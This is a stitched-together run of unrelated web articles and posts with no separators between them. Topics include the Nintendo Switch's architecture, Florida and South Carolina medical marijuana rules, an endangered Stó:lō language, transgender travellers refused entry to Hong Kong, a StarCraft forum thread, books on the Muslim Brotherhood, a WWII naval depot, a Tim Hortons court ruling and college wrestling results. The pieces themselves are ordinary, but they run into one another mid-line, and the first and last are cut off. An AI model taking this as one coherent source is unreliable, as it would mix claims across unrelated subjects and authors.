As the Switch works as both a home console and a portable one — albeit with its home console setup seemingly being the priority — this combination makes sense. (It’s also interesting to consider in concert with Nintendo’s insistence that the portable 3DS is still a focus for the company.)
PC-style architecture is a marked change from the Wii U
The streamlined development department has more third-party benefits, too, as Miyamoto went on to explain. Porting a PC game to the Switch should take “less than a year,” he said, which is a boon for internal and external teams wanting to work with the console. That’s in part due to the hardware’s use of Nvidia technology, which is commonly used by high-performance PCs and tablets. (The Switch uses a custom Nvidia Tegra-based chip, as we’ve previously detailed.)
The PC-style architecture is a marked change from the Wii U, which used a PowerPC processor compared to the Xbox One and PlayStation 4’s more PC-like x86 processors.
As Engadget explained back in 2013, “Bringing consoles closer to the common PC puts developers in a familiar environment, giving them an edge in multiplatform development. Porting a game between PC and consoles just became that much easier. The natural consequence, however, is that bringing that same software to the Wii U is that much harder.”
Technology fellow Genyo Takeda acknowledged the PC’s powerhouse status in Western territories, indicating Nintendo’s interest in appealing to those markets alongside its native Japanese one. Not only does the Switch use more modern processors, but Nintendo is prioritizing mimicking a PC-like experience with the console, Takeda explained.
“The term ‘crossover’ is sometimes used to describe the unprecedented value that is realized when merging two different attractive things (such as, in this case, high performance and low power consumption, and playing both indoors and outdoors),” he said, regarding the Switch’s use of the Nvidia chip. “I feel that Nintendo Switch is a new and unique crossover in its achievement of high performance, comparable to that of PC, both in front of your TV set and in your hands.”
While it remains to be seen how the Switch fares with third-party studios — although more than 70 have signed on to publish games for the system — Nintendo sounds adamant about making it not just more accessible to outside parties, but more on par with competitors.
“In the end, developer needs are pretty easy,” Fils-Aime told Polygon. “They want great tools. We’re delivering that. They want a large and diverse install base. That’s what we’re committed to delivering. They want a robust online environment. We’re working to deliver that.”With regulation of medical marijuana now up in the air, what can patients do to get treatment?
The Florida Legislature was unable to pass a medical marijuana bill, but qualified patients have the right to use marijuana thanks to a constitutional amendment passed in November.
The answers to some burning questions about what happens now:
Can I grow marijuana for medical use?
No. Under state law, seven nurseries have been given licenses to grow marijuana for every patient in the state. Expansion under the constitutional amendment means about 500,000 people in Florida could qualify.
Supplying all the users with various strains of marijuana could be too much for those growers.
“It is certainly not enough right now with a much smaller patient base,” said Ben Pollara, who ran the medical marijuana amendment campaign that drew 71 percent approval from voters in November. “Can seven companies grow enough marijuana to supply the whole patient population? Sure, they can probably get to that point. But is that something we should really be desirous of as a state? Probably not.”
How do I get medical marijuana now?
That’s shaky legal ground currently. The constitutional amendment grants qualified patients the right to use medical marijuana, but the process by which doctors can recommend it is covered by laws that predate the amendment.
The Florida Department of Health, which oversees the state’s medical marijuana industry through its Office of Compassionate Use, has placed the onus on doctors to make sure they follow all state laws and the state constitution. That’s made many doctors wary of recommending marijuana to their patients.
As of April, there are 52,336 physicians in Florida, including 25,559 primary care doctors and 26,777 specialists, according to the health-care think tank the Kaiser Family Foundation.
Just 803 of them are certified to recommend medical marijuana, according to the Florida Department of Health.
When can I get medical marijuana?
Theoretically, you can get it right now. The amendment is already in the constitution, so if you’re a qualified patient, you have the right to medical marijuana. But without a legal framework or the expanded amount of growers that would have come with legislation, actually getting marijuana can be difficult.
The constitutional amendment requires the Department of Health to come up with rules and regulations governing the expanded medical marijuana industry by July, and to start handing out patient ID cards by September.
The department unveiled proposed rules in January, and those rules were essentially the same as the pre-amendment laws, meaning no new growing licenses, a ban on smoking and a 90-day doctor-patient relationship before a recommendation for marijuana can be made.
How much does it cost?
At Knox Medical, one of the seven licensed growers, a 300mg vaporizer cartridge sells for $45. At Trulieve, another of the growers, a 250mg cartridge sells for $37. Both of those average out to about 15 cents per milligram. That translates to about $150 per gram — about ten times the price of marijuana on the streets.
The dispensaries are all-cash businesses — no federally chartered bank will offer loans or credit to medical marijuana businesses for fear of prosecution.
Pollara argued that not only would more growers mean more supply, it would also bring added benefits to sick patients.
“We’re not talking about recreational marijuana, where this is something you can commodify. This is medical. It’s about patients,” he said. “You want the competition in price, quality and customer service that comes along with a freer market.”
Can I smoke medical marijuana?
No, with no exceptions.
Medical marijuana can be vaped, eaten as edibles or used in oils and other processed forms.
Courts will likely decide whether to keep the smoking ban. Morgan has already threatened to sue over the matter.
One of the seven growers, Trulieve, began selling whole, smokable marijuana buds Tuesday, the day after the legislative session ended. While the company says the buds are meant for use in vaporizers, they could also be used in joints, pipes and other smoking devices.
What about the 90-day relationship?
From the time you see a doctor who can recommend medical marijuana — and your doctor probably can’t — you have to wait three months before the doctor can actually recommend marijuana for you and you can get on the patient list and get an ID card.
And then I can just get, say, a year’s worth of pot?
No. Current state law says patients can only get a 45-day supply of medical marijuana, after which they have to return to their doctor who has to recommend marijuana again.
Don’t doctors prescribe it?
No. Doctors have a federal license to prescribe medicines. They can lose that license if they prescribe a schedule I controlled substance like marijuana. Remember, even though medical marijuana is legal in Florida, it’s still illegal at the federal level. So, doctors “recommend” it instead.
It’s the same reason patients have to go to dispensaries to get the product instead of going to their local pharmacy. Because pharmacies are licensed at the federal level, they could be put out of business if they started dispensing marijuana.
What ailments qualify a patient for medical marijuana?
The constitutional amendment lists cancer, epilepsy, glaucoma, HIV/AIDS, PTSD, ALS, Crohn's disease, Parkinson's disease, multiple sclerosis, or other “debilitating medical conditions of the same kind or class.”
What other diseases are “of the same kind or class?”
That’s a good question, and one that, like the smoking issue, could be the subject of lawsuits going forward as patients who have ailments with similar symptoms argue that they should be allowed access to medical marijuana.
The News Service of Florida contributed to this report.
dsweeney@SunSentinel.com, 954-356-4605 or Twitter @Daniel_Sweeney
Get Dan Sweeney’s daily political newsletter, the Power Lunch, here.Cara McKenna
APTN National News
The Stó:lō people are named in their language after the Fraser River, which is the community’s lifeblood and flows through their picturesque territory southeast of Vancouver, B.C.
Just a few generations ago, dozens of people spoke the nation’s language of Upriver Halkomelem.
But in the last decade, almost all fluent speakers have died.
There is just one elder left who early in life had to fight to keep her language, and is now trying to pass it on before it’s too late.
The Knowledge Holder
I try my best not to lose [my language], because I can’t have a conversation.”
– Elizabeth Phillips, Stó:lō elder
When Elizabeth Phillips was a child, she was put into St. Mary’s Indian Residential School in Mission. She was forbidden to speak the language that both of her parents spoke to her as a baby.
Phillips was a loner at the school and supervising nuns became concerned that she wasn’t associating with other children enough.
While other children played, she would stand alone at the outside gate, staring out at the Fraser River and thinking in her language.
“And I guess that’s what saved me,” she says now, sitting outside her home in the Fraser Valley.
Phillips’s small red house stands in stark contrast to rolling green hills and clear blue sky. Nearby is the Fraser.
Inside, three linguists from the University of British Columbia are bustling around her kitchen and setting up an array of ultrasound equipment as Phillips observes the elaborate set up.
Phillips laughs good-heartedly when one of the linguists explains that she’ll need to put some goopy ultrasound gel under her chin.
It might be the first time anyone has done an ultrasound on her mouth, but the experience of being recorded by academics is not a new one for Phillips.
At 77, she’s the last known fluent speaker of the Stó:lō Nation’s Upriver Halkomelem language (also called Halq’eméylem) – a Salish dialect that’s related to two other Halkomelem dialects, but distinct to the Stó:lō people.
Above: Phillips speaks the phrase “simple language for beginners” in Upriver Halkomelem
It seems like yesterday to Phillips that a group of Stó:lō elders would gather to speak Upriver Halkomelem and record what they knew in a dictionary. It was a time when she could have long conversations on the phone with friends without speaking a word of English.
But those elders’ deaths came in rapid succession – more than 20 in the last two decades.
Those elders were all a decade or two older than Phillips, who was always the youngest one in language groups, but she got invited to attend before she was an elder because of her unique ability to speak fluently even after residential school.
Several years ago, an elder named Elizabeth Herrling who was working to record the language in stories died at 93, which is when Phillips stepped up her work to record it.
Above: a torch lighting story told by Herrling
Sadly, Phillips is now left with no one to have real conversations with, but she still thinks in Halkomelem and communicates as much as she can with speakers who are learning, including her daughter Vivian.
“I try my best not to lose it, because I can’t have conversation,” she says.
“But I text in Halkomelem.”
Phillips pauses, then bursts into laughter at the notion.
“The phone is always trying to correct me!”
Preservation
Most of the languages probably are going to come to a place where people aren’t speaking them fluently.”
– Strang Burton, linguist
Joining in on her laughter is Strang Burton, who works for the Sto:lo Shxweli language program and UBC’s linguistics department.
Phillips and Burton have been working together for nearly two decades and they switch easily between having serious, quiet conversations and laughing jovially together. Burton calls her “Siem,” a Halkomelem word that, in English, loosely means “respected one.”
Together, they’ve recorded many stories and other language material. Burton got the idea to do a language ultrasound on Phillips when he saw other linguists using the equipment on Mandarin and Japanese.
“I thought, well, let’s do it for Halkomelem, because people were having trouble with the sounds of Halkomelem,” he says.
Burton believes it to be the first time the technology has ever been used on an Indigenous language in Canada.
He said he hopes it will allow people who are teaching the language in local schools to improve their pronunciation of the language, which is notoriously tricky.
He plans to impose the ultrasound images with external videos he’s taking of Phillips’s mouth so that others can see how her mouth and tongue move as she’s speaking.
But, after decades of work, Burton is realistic about the prospects of a severely endangered language like Upriver Halkomelem truly being saved.
“Most of the languages probably are going to come into a situation where people aren’t speaking them fluently,” he says.
Time is Ticking
“For people to become really fluent again, that requires something social to happen.”
– Strang Burton
The reality in British Columbia is a bleak one – the province is home to more than half of Canada’s 60-odd Aboriginal languages, and almost all of them are in danger of disappearing.
The languages are a crucial part of culture, ceremony and connection. Many Indigenous words can’t be translated accurately into English.
In the Canadian Liberal government’s first federal budget earlier this year, it was announced that $5 million per year would be siphoned into supporting the country’s Indigenous languages, in comparison to more than $2 billion for French.
“Considering the number of First Nations languages there are in Canada, it’s not a lot,” Burton says.
“If there were just one First Nations language in Canada, I guess that would be a lot.”
More funding is certainly needed to continue crucial work to preserve languages, but Burton says, more than that, fluent speakers like Phillips are needed to pass the languages along. And they’re dying off at a worrisome rate.
“For people to become really fluent again, that requires something social to happen,” Burton says.
“Which is happening maybe a little bit.”
But the small changes are not enough. Burton says, what is realistic, is that people can experience the language through stories about people’s lives and traditional practices. That’s what he’s trying to do through his current work with Phillips and previous work with other elders.
“Without a Native speaker to go to for subtle translations and things, you’re never going to be sure you’ve got it exactly right,” he says.
“But with the resources we have, probably if people get together and they want to speak, there’s enough stuff that they could access in the archives to help them have a real conversation.”
Burton believes the community is positive, and he has seen many children learning the language through school programs, which is hopeful to Phillips.
Many years ago, before Phillips’s own mother passed away, she asked her daughter Vivian to live with her, which has helped her to become proficient in the language and pass it down to her own children.
“That’s quite an honour because that was so forbidden, you know,” she says.
“A lot of our people were punished because they spoke their language.”
It’s a painful subject to breach, and Phillips gets distracted mid-thought when she notices an eagle flying above her. She smiles at the reminder of strength and power.
“They always seem to know what’s going on,” she says.
cmckenna@aptn.ca
@CaraMcKSignup to receive a daily roundup of the top LGBT+ news stories from around the world
Two transgender women have been refused access to Hong Kong after immigration officers did not believe they were there to see sights and shop.
The pair who travelled from Bangkok, Thailand were told by immigration officers in Hong Kong International Airport that they did not satisfy the purpose of their holiday.
The women were visiting the city with the intention of sight seeing and shopping but their visit was rejected by officials at the immigration department. The pair were then also asked to sign documents concerning their gender.
They were asked to sign two documents; one confirming they had completed full gender reassignment surgery and one to confirm they would voluntarily go back to Thailand immediately. They pair refused to sign the documents and returned to Bangkok.
A lawyer representing one of the woman, Jonathan Man Ho-Ching said he “could not rule out the possibility of prejudice and discrimination” and said “there was a lack of understanding of different sexes and genders.”
The woman were also asked by officers if they were “cut already”, referring to their gender re-assignment surgery.
The two women have previously travelled to Switzerland, Spain, Taiwan and South Korea.
Joanne Leung Wing-yan, Chairwoman of the Transgender Resource Centre, argued that the pairs travel history gave “no reason to ask them to deny them access.”
“I just hope there will be a different kind of treatment and understanding for transgender people” said Wing-yan.
A spokesperson for the Immigration Department said the tourists were “suspicious” and “failed to satisfy that they were genuine travellers.”
A rights group has since urged authorities to treat transgender people with more respect.MGHova Profile Joined April 2010 Canada 273 Posts Last Edited: 2011-05-26 20:47:27 #1
2 Terran anonymous 1,501 75 3
http://www.sc2ranks.com/ranks/us/master
A 96% Terran player with over 75 games played! He's easilly playing top GM players every game and still winning at such a high rate.
Two things come to mind.
1) Korean???
2) Hacker.....
I did a search to checkout if anyone else has said anything and nothing came up.
I wanted to know what you all think of this and who you guys think it is??
My guess its someone like Bomber since he's terran practicing in the north American server before MLG. Clearly it must be a korean player from the awful name choice
Well anyways I hope to find out here.
Edit:
On May 26 2011 04:18 MGHova wrote:
I'm back! lol Good to hear everyones opinion and information. So basically we concluded so far
1) Its a korean player and most likely a Terran player.
2) He likes going MMM even in TvT late game.
3) He's been playing since early May ( from what i checked at sc2ranks.com)
It was rumored since Later March and early may that korean would be coming to MLG.
I guess this is just further "evidence" that its a Korean.
Not much more then that, people claiming its MKB(gold float). Bomber or MMA from playstyle, or OGSHiren(from lurker).
I still think its probably MMA or Bomber.
P.s. Its also not day9 so stop saying it haha we can only hope! I'm back! lol Good to hear everyones opinion and information. So basically we concluded so far1) Its a korean player and most likely a Terran player.2) He likes going MMM even in TvT late game.3) He's been playing since early May ( from what i checked at sc2ranks.com)It was rumored since Later March and early may that korean would be coming to MLG.I guess this is just further "evidence" that its a Korean.Not much more then that, people claiming its MKB(gold float). Bomber or MMA from playstyle, or OGSHiren(from lurker).I still think its probably MMA or Bomber.P.s. Its also not day9 so stop saying ithaha we can only hope!
Edit 2:
It has come to my attention that it might not actually be one of the MLG koreans, unless he's only playing to get used to people's style, which i almost doubt. Most like its a Korean player practicing with the latency for NASL.
Now i'm just wondering why I care so much. It must be because i'm at work and bored to shit waiting for my experiments to finish haha.
Edit 3:
LoL I love waking up and seeing my thread about some random NA player jump like 100 posts
Okay so we have some new information and theories.
1) On May 26 2011 13:59 jalstar wrote:
Graph of MVP, MMA, and Bomber (in that order)
Graph of MVP, MMA, and Bomber (in that order)
On May 26 2011 12:17 jalstar wrote:
anonymous is, almost without a doubt, IMMVP.
Nearly identical hotkey map. anonymous is, almost without a doubt, IMMVP.Nearly identical hotkey map.
This image shows that bomber and MMA's hotkey signature is significantly different from Anonymous, therefore we can safely conclude that its not them!
Now it does look quite similar to IMMVP's signature, which then we can conclude that its POSSIBLY him.
If we now assume that it is MVP for the hell of it, more games and signature of Anonymous and MVP would give us more empirical evidence. Anyways the question is now.... WHY!
Why, is he playing a few game everyday or so on NA, he's clearly not laddering hard on NA or he'd have more then seventy odd games in a month. From what I see people discussing is that he's probably practicing on NA for an upcoming NASL qualifier?? His ladder games are most likely to practice against the veriety of NA strategies and dealing with the lag issues. I'm just surprised that in his match history there's no custom games. I would think that he would be practicing more then couple games a day if he wanted to get used to the delay. Unless the delay is not really a big deal.
Anyways DISCUSS!
So i'm just chilling out at work watching gsl and lurking team liquid when I decide to check out sc2ranks.com. First thing i normally do is check out the masters rankings to see what the highest points are at and what my rank is |
, calls them the optimists—argue for dialogue with the Muslim Brotherhood, the Islamist movement born in Egypt in the 1920s which now has a worldwide network of followers and institutions. A countervailing school—the pessimists, to whom Mr Vidino is closer—suggests that the Brothers are wolves in sheep's clothing, sharing much of the militants' agenda but hiding behind a mask of doublespeak.
Mr Vidino, who recently joined the RAND Corporation, a research outfit in Washington, DC, has in the past prophesied, in sometimes strident tones, that the Brotherhood's ultimate goal is to extend Islamic law throughout Europe and America. He has berated those who fail to see the danger as hopelessly naive. His book is more restrained. He allows the “optimists” their say and acknowledges that the West faces a genuine dilemma in forming a judgment about such a big, baggy movement which speaks with many voices.
Though he remains a sceptic, he provides a wealth of information to let the rest of us make up our minds. He explains how in the 1950s a small, tightly knit band of Brothers successfully transplanted the movement to Europe. Led by Said Ramadan, the son-in-law of the Brotherhood's Egyptian founder, these pioneers turned Geneva and Munich into the hubs of a network of mosques and institutions lubricated with Saudi funding.
A similar process was at work in the United States, and here Mr Vidino's charge-sheet may give even optimists pause. He makes extensive use of court documents from the trial of the Holy Land Foundation, a Texas-based Muslim charity convicted in 2008 of channelling money to the Palestinian group, Hamas. Mr Vidino believes the documents reveal the existence of a wide and hitherto secret Brotherhood network with links to two of America's best-known Muslim organisations, the Council on American-Islamic Relations and the Islamic Society of North America. Both groups deny having such links, and have long condemned terrorism in unequivocal terms.
As for his bolder claim—that the movement aims at nothing less than the spread of Islamic law through Europe and America—Alison Pargeter, a Cambridge scholar and author of the second of these books, considers this scaremongering. Her book is shorter and more measured than Mr Vidino's, and she has a surer grasp of the political dynamics of the Middle East, the soil from which the Brotherhood sprang. As her subtitle suggests, she regards it as an essentially reactionary movement unable to break with its past. Its hallmarks are pragmatism, opportunism and an ambivalent attitude towards the uses of violence.
The difference in the two authors' approach is exemplified by their treatment of a document found by the Swiss authorities in 2001 at the home of a senior Brotherhood financier. The Arabic document, dated December 1982 and widely known as “The Project”, sets out what Mr Vidino regards as the movement's strategy for global dominion. Ms Pargeter sees it as a “fairly mundane wish list”. The portrait of the Brotherhood that emerges from her book is scarcely attractive but it is a weaker, more fractured thing than the sleekly dangerous creature depicted by Mr Vidino.
Should the West engage with the Brothers? On this, perhaps surprisingly, the two authors agree. The Islamists have become “part of the furniture”, as Ms Pargeter puts it; besides, there are few credible alternatives. It is better to talk to them, carefully and without illusions.Gamers in the digital age need never worry about lost character sheets again, thanks in part to could based storage services. For those not in the know, “could based storage services” are services that allow you to store items, like documents and.pdfs, online where they can be accessed by pretty much any computer with access to the internet.
I’ve found Dropbox to be excellent for this. Not only can you upload and access via the web, but there is a desktop client that you can download as well. There are other services that provide cloud based storage, such as Google Docs and Microsoft Sync, but we’re going to concentrate on Dropbox as that’s what I’m most familiar with. Oh, and most services allow for some space for free and some have options to increase the amount of storage space for a price. However, I’m finding the free portion to be sufficient (I have something like 2.75 gigs on Dropbox for free).
What we’ve done in our group is created a folder for each player as well as a folder for each game for general items such as treasure lists and adventure recaps. The folders are then shared out to the appropriate players and they can use those folders to put their character sheets, any notes they might need, tokens for use with MapTool, images and so on. And Dropbox automatically syncs with my Dropbox folder on any of my computers, so I can work with items locally and, the next time I go online, everything in the Dropbox folder is automatically uploaded to Dropbox.
At work, where I can’t install the Dropbox application, I can still access Dropbox via a web browser so if I need to work on adventure notes or check out someone’s character sheet, I can do so easily. Furthermore, with the Goodreader app for my iPad, I can download stuff that’s in my Dropbox or work on stuff on the iPad and upload it to my Dropbox. As a result, I always have the latest version of my players’ sheets, campaign notes, adventure recaps, NPC stats and so on at my beck and call. Granted, the loading of documents can be done offline, but if one of my Pathfinder players updates his sheet in the middle of the work day, I can immediately check it out and grab the updated sheet and, with my players being spread out (literally) all over the country, the ability for them to share, and read shared, documents is extremely useful.
No more lost character sheets or campaign notes, no more accidentally-deleted emails, no more searching through emails…everything is placed in a convenient spot. Even if you don’t game online, you should give could-based storage a shot!
[tags]Gaming in the digital age,role playing games,rpgs[/tags]COLUMBIA, S.C. (AP) - A proposal legalizing medical use of marijuana in South Carolina is gaining support in the Republican-controlled Legislature.
Supporters said Tuesday it's time for politicians to allow people who are seriously ill or suffering from chronic pain to benefit from a plant that is a far better option than additive prescription opioids.
Republican Rep. Eric Bedingfield of Belton says he's tired of seeing people suffering unnecessarily. Bedingfield was among about 10 legislators at a news conference explaining their support. Democratic Sen. Brad Hutto of Orangeburg says state law should not force patients seeking relief to be labeled criminals.
Law enforcement officials have opposed previous bills, saying marijuana supposedly for medical use would instead be used socially.
GOP Sen. Tom Davis of Beaufort says he hopes this year's bill addresses their concerns with seed-to-sale tracking, lab testing and patient registration.
Twenty-eight states have passed medical marijuana laws.The Naval Ammunition Depot Hastings (NAD Hastings) near Hastings, Nebraska was the largest United States World War II naval munitions plant operating from 1942 to 1946 and produced over 40% of the U.S. Navy's munitions.
History [ edit ]
World War II and accidents [ edit ]
The former Naval Ammunition Depot (NAD) is one of Nebraska's former four major ammunition plants: the Cornhusker Ordnance Plant, the Nebraska Ordnance Plant and the Martin Bomber Plant.[1] Its construction began in July 1942 on 49,000 acres (200 km2) and was completed in early 1943 with over 2000 buildings, bunkers, and various other types of structures.[2] The cost of construction was over $71 million.[3]
The navy built in this location due the proximity to the area's three railroads, the abundance of underground water, cheap natural gas and electricity, the stable work force and the distance from either coast (being beyond the range of Japanese or German bombers). At one point during World War II the facility was producing over 40% of the U.S. Navy's munitions. It manufactured 40mm shells, 16 inch projectiles, rockets, bombs, depth charges, mines and torpedoes. Production peaked in June–July 1945, when the depot employed 125 officers, 1,800 enlisted men, and 6,692 civilians.[3]
The impact on the city of Hastings was a 40% population increase from just over 15,000 in 1940 to 22,252 at its peak during the war. By 1944, workers base wages at the depot were 74-cents an hour with time-and-a-half for overtime beyond 54 to 64 hour workweeks and thus considerably higher than the 40- to 50-cents per hour in town and maybe a dollar-a-day for a hired man on the farm.[1] Farmers experienced a severe labor shortage, schools were overcrowded with 50-60 children, new homes were scarce.[1]
Four accidental explosions took place during the war, of which two were officially reported. All occurred in 1944, and together resulted in the deaths of 22 people.[3] The first accident left a crater 550 feet long, 220 feet wide, and 50 feet deep.[1] The most severe accidental blast killed nine people and injured fifty-three on September 15, 1944.[3] It was caused by human error while a train was being loaded. The loading depot and the train were totally destroyed. Part of the roof at a high school in Harvard, about 15 miles (24 km) east of Hastings, collapsed as a result of the explosion; injuring 10 children.[3]
After World War II [ edit ]
In April 1945, the work week was reduced from 60 to 54 hours, in August 1945 to 40 hours and the number of employees was reduced to 3,000. By 1949, personnel numbered 1,189. the depot was reactivated in August 1950 for the Korean War. Employment peaked in January 1954 with 2,946 civilians.[3]
Air Force presence [ edit ]
During the Vietnam War, a portion of the NAD was turned over to the U.S. Air Force. This became a radar bomb scoring detachment that helped train pilots in electronic bombing techniques that were used in southeast Asia.[citation needed]
Closure and transfer [ edit ]
Closure of the site was ordered[by whom?] in December 1958 to be concluded no later than June 1966. As of 2015, the land was occupied by Central Community College, which uses some of the former buildings, Hastings East Industrial Park (HEIP), a golf course, the Greenlief Training Facility for national guardsmen and reservists, and the United States Department of Agriculture Meat Animal Research Center, which was granted part of the site in 1964.[4]
Other naval munititions plants [ edit ]
Three smaller inland naval munitions plants were located at Naval Ammunition Depot, Crane in Burns City, Indiana, McAlester Naval Depot in McAlester, Oklahoma and the Hawthorne Naval Ammunition Depot in Hawthorne, Nevada.
See also [ edit ]
References [ edit ]
Coordinates:A farmer’s silo that stores hydrogen instead of grain? That’s the idea behind a new concept design by Koren Bras of Charlotte, North Carolina, which aims to cut farmers’ dependency on oil (and hence, the carbon footprint of food) with homegrown hydrogen.
The H2 Silo was created in Washington State University’s Interdisciplinary Design Studio as a “radical design intervention” designed to produce hydrogen from renewable sources and create a distribution network for it in rural areas, based on the principles of biomimicry (which works with design inspiration drawn from nature).
How, exactly, this design was drawn from nature isn’t all that clear, but the top floor of the H2 Silo harvests solar energy, while the second floor uses this energy for hydrolosis, producing hydrogen and oxygen from water. On the bottom floor, farm vehicles can pull up and refill with hydrogen, and perhaps even take a few moments to refresh and unwind in the included oxygen bar.
There isn’t enough here to really get the big picture on Bras’ thinking here, but the H2 Silo, at the very least, seems like a great way to repurpose old silos to accommodate carbon-free farming. (Though we’re not sure what the nation’s farmers would make of the oxygen bar.)
Looking for green gadget gift ideas for this holiday season? We have you covered with our annual Green Gadgets Holiday Gift Guide – check it out now!Update: Sold out again!
You've got two choices when it comes to checking on the progress of your dinner in the oven. You could poke at it with a kitchen thermometer until you think it's done, or you could sit on the couch and wait for your phone to tell you when it's ready.
Advertisement
The highly-rated iDevices Kitchen Thermometer uses two temperature probes to track whatever you have in the oven or on the grill, and connects to your iPhone or Android device over Bluetooth to alert you as soon as it reaches the proper temperature. I actually gave this to my dad for his birthday, and it worked as advertised.
Amazon has marked the thermometer down to just $56 today, matching the lowest price ever. If you love gadgets, and you love cooking, I wouldn't hesitate. [Amazon]Tim Hortons has won a major legal battle against franchise owners, now that a judge has tossed out a proposed $2-billion class-action lawsuit over the price of doughnuts.
Tim Hortons franchisees benefit from an iconic national brand, and with such high profits from coffee sales, they should accept lower margins on food, according to the decision by Justice George Strathy of Ontario Superior Court.
[np-related]
“The fact of the matter is that under the Tim Hortons system, the franchisees are given the licence to sell Tim Hortons trademarked coffee — a brand that is about as iconic as there is in Canada,” the judge wrote.
“What matters, at the end of the day, is whether the franchisee makes sufficient profit overall to justify his or her investment and to remain in the business. The suggestion by the plaintiffs that [Tim Hortons] has an obligation to price every menu item so that they can make a profit on that particular item is not supported by the contract, by the law or by common sense.”
At the heart of the case, which began in 2008, is what the judge describes as the “Always Fresh Conversion,” a shift from fresh baking in each store to a system of industrial par baking and flash freezing at a centralized plant in Brantford, Ont., followed by reheating in specially designed ovens.
To say this shift was controversial is an understatement, like saying Canadians are fond of Tim Hortons. The truth is they are patriotically loyal to it, and the switch to frozen doughnuts and muffins was seen as a major corporate risk, and it was the subject of intensive consultation with franchisees.
Until 2002, baked goods were made in store by trained bakers, using ingredients supplied by Tim Hortons, which gave each franchise a signature fresh-baked smell, but could be inefficient, inflexible and expensive.
In 2010, Tim Hortons sold its half of this industrial bakery to Aryzta AG, the Swiss company that already owned the other half.
Co-founder Ron Joyce, who has since left the company, was especially critical of the switch to frozen, and the ensuing legal battle came to be seen as an almost tribal conflict between those loyal to Mr. Joyce, and those loyal to his successor, Paul D. House.
The fight was nasty and drawn out. Written materials were “replete with pejorative language” and unsubstantiated accusations of “misrepresentation” and “exploitation,” the judge wrote, and evidence presented by both sides was “largely irrelevant.”
The lawsuit, intended as a class action on behalf of all franchisees, was doomed to fail from the beginning because it is not the court’s role to rewrite valid contracts, Judge Strathy wrote in his 140-page ruling.
The case was brought by Brule Foods, which runs two Tim Hortons in Ontario, and is owned by Archibald Jollymore, a cousin of Mr. Joyce and his former executive vice-president. The other plaintiff is Fairview Donut, Inc., a profitable franchisee since 1988, and owned by Mr. Jollymore’s wife, Anne Jollymore.
They alleged that the average price of a doughnut increased from 7¢ when made from scratch to 18¢ to 20¢ under “Always Fresh,” and that this has unfairly cut into their profits. They claimed Tim Hortons makes “enormous profits” on the sale of the “par baked” doughnuts at franchisees’ expense, and that this violates their implied guarantee that ingredients would be sold to them at lower than market price.
They also claimed that the lunch menu of soups and sandwiches must be sold at “break-even prices or at a loss,” even though franchisees pay a percentage of sales to Tim Hortons for rent, royalties and advertising. They alleged this is in violation of their franchise contracts, as well as the duty of good faith and fair dealing. They also alleged Tim Hortons committed the offences of “price maintenance and conspiracy under the Competition Act,” the ruling shows.
Counsel for the plaintiffs declined to comment Monday.
Tim Hortons’ response was that it has a contractual right to set the prices at which franchises purchase ingredients, and “overall, the plaintiffs and all franchisees enjoy an exceptional rate of return on their investments.”
The company said the “Always Fresh” doughnut is not more expensive on average, and denied the lunch items are sold at a loss. It also noted that sandwiches and soups are a crucial part of keeping competitive with other fast-food chains.
In siding with Tim Hortons and tossing out the lawsuit, the judge observed that if “par baking” had not been introduced, the cost of baking from scratch would have increased to something like 30¢ per doughnut today.
The Always Fresh Conversion was “a rational business decision made by Tim Hortons for valid economic and strategic reasons,” the judge found.
“The plaintiffs’ real complaint about the Always Fresh Conversion, buried under boxes of financial statements, statistics, affidavits, expert opinions and transcripts, and expressed with eloquent and passionate advocacy by their counsel, is that they don’t get a bigger share of the doughnut profits. Their real complaint about the Lunch Menu is exactly the same,” judge wrote.
“There is one aspect of the Tim Hortons franchise that the plaintiffs don’t complain about — coffee,” Judge Strathy wrote. “Coffee is what Tim Hortons has been about since the very first day. It remains so today. Tim Hortons owns the coffee brand. It owns the trademark. The franchisee acquires the right to use the trademark. To sell the brand… A large cup of coffee sells, at least in Toronto, for $1.57. It is, not surprisingly, extremely profitable. The ingredient cost is very low. The cost of labour involved in making the pot and pouring a cup is also very low.”
The plaintiffs may still appeal the ruling.
National Post
jbrean@nationalpost.comMay 26, 2013
UNIVERSITY PARK, Pa. - A strong contingent of Penn State Nittany Lion wrestlers competed in the 2013 Asics Freestyle University Nationals, held this weekend at the University of Akron. Four of Penn State's 2013 NCAA finalists placed at the event with three coming home as 2013 University Nationals freestyle champions.
Sophomore Nico Megaludis (Murrysville, Pa.) blazed through the 55 kg weight class, going 5-0 with three technical falls to claim the title, including a 4-0 shutout over top seeded Zach Sanders, former Minnesota Golden Gopher All-American. Junior David Taylor (St. Paris, Ohio) was untouchable at 74 kg, going 7-0 with four tech falls and three pins to win the championship. He pinned Wolfpack Wrestling's Quinton Godley in the finals.
Junior Ed Ruth (Harrisburg, Pa.) was dominating at 84 kg, posting a 6-0 mark to win the championship. Ruth had four tech falls in the tournament, including a devastating 10-0 tech fall over Cam Simaz of Cornell's Finger Lakes Wrestling Club in the finals. Sophomore Matt Brown (West Valley City, Utah) came back from a third round upset loss to reel off six more wins, going 8-1 overall to take third at 79 kg. Brown had four tech falls and two pins, including a tech fall over Tyler Wilps in the third place match.
Four other Nittany Lions competed on day two of the event, capping off solid tournaments in the consolation bracket at the event. True freshman Jimmy Gulibon (Latrobe, Pa.) went 3-2 at 60 kg while red-shirt freshman Mike Waters (Advance, N.C.) was 4-2 at 63 kg. True freshman Zack Beitz (Mifflintown, Pa.) went 4-2 at 66 kg and junior James Vollrath (Richboro, Pa.) went 3-2 at 74 kg, advancing to the quarterfinals before dropping two straight.
A total of 19 Nittany Lions competed at the two-day event, with a number of young Nittany Lions turning in strong performances. In addition to the eight grapplers above who wrestled into day two, 11 other Lions took part in the national championship event.
At 60 kg, sophomore Frank Martellotti (Pittsburgh, Pa.) went 3-2 and red-shirt freshman Jordan Conaway (Abbottstown, Pa.) went 2-2. Freshman Caleb Livingston (Drexel Hill, Pa.) went 1-2 at 70 kg and red-shirt freshman Rex Lutz (Easton, Pa.) went 3-2 at 74 kg. Junior Andrew Church (Erie, Pa.) went 2-2 at 79 kg and red-shirt freshman James Frascella (Carmel, Ind.) went 1-2 at the same weight.
True freshman Wes Phipps (Grove City, Pa.) and red-shirt freshman Scott Syrek (Chester Springs, Pa.) each went 1-2 at 84 kg while classmate Dylan Dailey (Danville, Pa.) also competed at that weight. Red-shirt freshman Josh Rogers (Pottstown, Pa.) wrestled at 96 kg while sophomore Nick Ruggear (Oxford, Pa.) competed at 120 kg.Back in October 2010, Donal touched briefly on an old Dublin legend about a solder who met a grim fate in the crypt of Christchurch. The story was recounted in Padraic O’ Farrell’s 1983 book The Ernie O’ Malley Story:
